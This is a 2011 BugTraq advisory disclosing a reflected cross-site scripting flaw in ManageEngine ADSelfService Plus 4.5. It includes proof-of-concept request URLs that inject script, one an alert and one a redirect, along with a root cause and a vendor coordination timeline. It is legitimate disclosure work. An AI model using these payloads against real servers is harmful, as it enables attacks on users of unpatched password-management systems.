BugTraq
Cross-Site Scripting Vuln in Zoho ManageEngine ADSelfServicePlus Nov 17 2011 05:40PM
James Webb (james webb verapath com)
Vulnerability ID: VRPTH-2011-001
Reference: http://jameswebb.me/vulns/vrpth-2011-001.txt

Vulnerability Summary
======================
Non-persistent XSS in Zoho ManageEngine ADSelfService Plus

Test Environment
=================
Windows 2008RC2 fully patched.
ManageEngine ADSelfServicePlus version 4.5 Build 4521 installed.
Integrated Into TestDomain

Technical Details
=====================
Corporate Directory Search feature in ManageEngine ADSelfServicePlus
version 4.5 Build 4521 is susceptible to
non-persistent XSS attacks. These vulnerabilities are manifest by the
ability for attacker to terminate
javascript variable declarations, escape encapsulation, and append
arbitrary javascript code.
ADSelfService Plus is a password management application for Active
Directory environments.

Proof of Concept
===================
Double-Quote String Termination
HTTP Request =
https://serverip:port/EmployeeSearch.cc?searchType=contains&searchBy=ALL
_FIELDS&searchString=";alert("XSS");//\"

Response Source View
<script language="javascript">
var searchValue = "';alert(XSS)//\"";

Single-Quote String Termination
Similarly...
HTTP Request=
https://serverip:port/EmployeeSearch.cc?searchType=';document.location="
http://www.cnn.com";//\"&searchBy=ALL_FIELDS&searchString=Bob

Root Cause Analysis
=====================
Input is not being escaped/filtered prior to javascript variable assignment.

Fix/Work Around
=====================
Not aware of patch/fix. Contact Vendor.

Coordination History
====================
09/28/11 - Contacted AdSelfServicePro Team with Vuln. Details
10/07/11 - Requested Update
10/08/11 - Received Response: Advised issues will be handled in future release.
10/27/11 - Requested Update:  Inquired if newer posted builds fixed issue.
11/03/11 - Received Response: Newer build did not address; Indicated
still researching..
11/17/11 - Released Advisory

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